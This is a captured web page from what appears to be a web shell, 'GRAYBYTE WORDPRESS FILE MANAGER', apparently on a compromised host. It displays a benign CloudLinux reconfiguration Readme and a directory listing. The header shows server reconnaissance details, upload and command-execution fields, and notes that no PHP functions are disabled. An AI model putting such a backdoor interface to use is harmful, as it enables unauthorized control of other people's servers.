GRAYBYTE WORDPRESS FILE MANAGER9876

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure//Readme.md
# Overview

This is a short overview of what is going on in this tool.

## Idea

cloudlinux-reconfigure automatically updates system configuration according to
"specification" of different editions. Right now "specifications" are defined
in `spec/` package as python scripts with the only method `provision(...)`.


There are some limitations that developers should stick to:
- `provision` method *must* be able to configure server no matter what edition was 
  installed previously. This means, e.g. if we make transition between `Admin` and `Solo`
  the latter is responsible for erasing `cloudlinux-admin-meta` package before installation
  of the `cloudlinux-solo-meta`



## Future

Here are couple notes for the future

### Provisioning responsibilities
Maybe we can add additional `deprovision` method which will be responsible for the 
cleanup of the edition that we are leaving. This will shift the responsibility e.g.
of removing meta packages to the module which performed provisioning previously.

On the other hand, it will increase migration time.

### Project structure
We can consider grouping actions not by the `edition`, but by the `project`, e.g.
```
spec/
    accelerate_wp/
        provision(edition, ...)
        deprovision(edition, ...)
    cagefs/
        provision(edition, ...)
        deprovision(edition, ...)
    lve-utils/
        provision(edition, ...)
        deprovision(edition, ...)
```

### Ansible?
We can use ansible playbooks instead of python to describe provisioning.
User-friendly playbooks with wide possibilities and also options like dry-run
which allow us to draw nice-looking progress for user.

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 25 2025 08:31:36
root / root
0755
__pycache__
--
June 25 2025 08:35:02
root / root
0755
cli
--
June 25 2025 08:31:29
root / root
0755
spec
--
June 25 2025 08:31:29
root / root
0755
Readme.md
1.606 KB
June 05 2025 10:38:47
root / root
0644
__init__.py
3.094 KB
June 05 2025 10:38:47
root / root
0644
awp.py
1.755 KB
June 05 2025 10:38:47
root / root
0644
cagefs.py
1.81 KB
June 05 2025 10:38:47
root / root
0644
clpro.py
0.848 KB
June 05 2025 10:38:47
root / root
0644
files.py
0.911 KB
June 05 2025 10:38:47
root / root
0644
limits.py
2.855 KB
June 05 2025 10:38:47
root / root
0644
linksafe.py
1.755 KB
June 05 2025 10:38:47
root / root
0644
lve.py
0.942 KB
June 05 2025 10:38:47
root / root
0644
packages.py
3.18 KB
June 05 2025 10:38:47
root / root
0644
services.py
2.29 KB
June 05 2025 10:38:47
root / root
0644
watcher.py
4.936 KB
June 05 2025 10:38:47
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF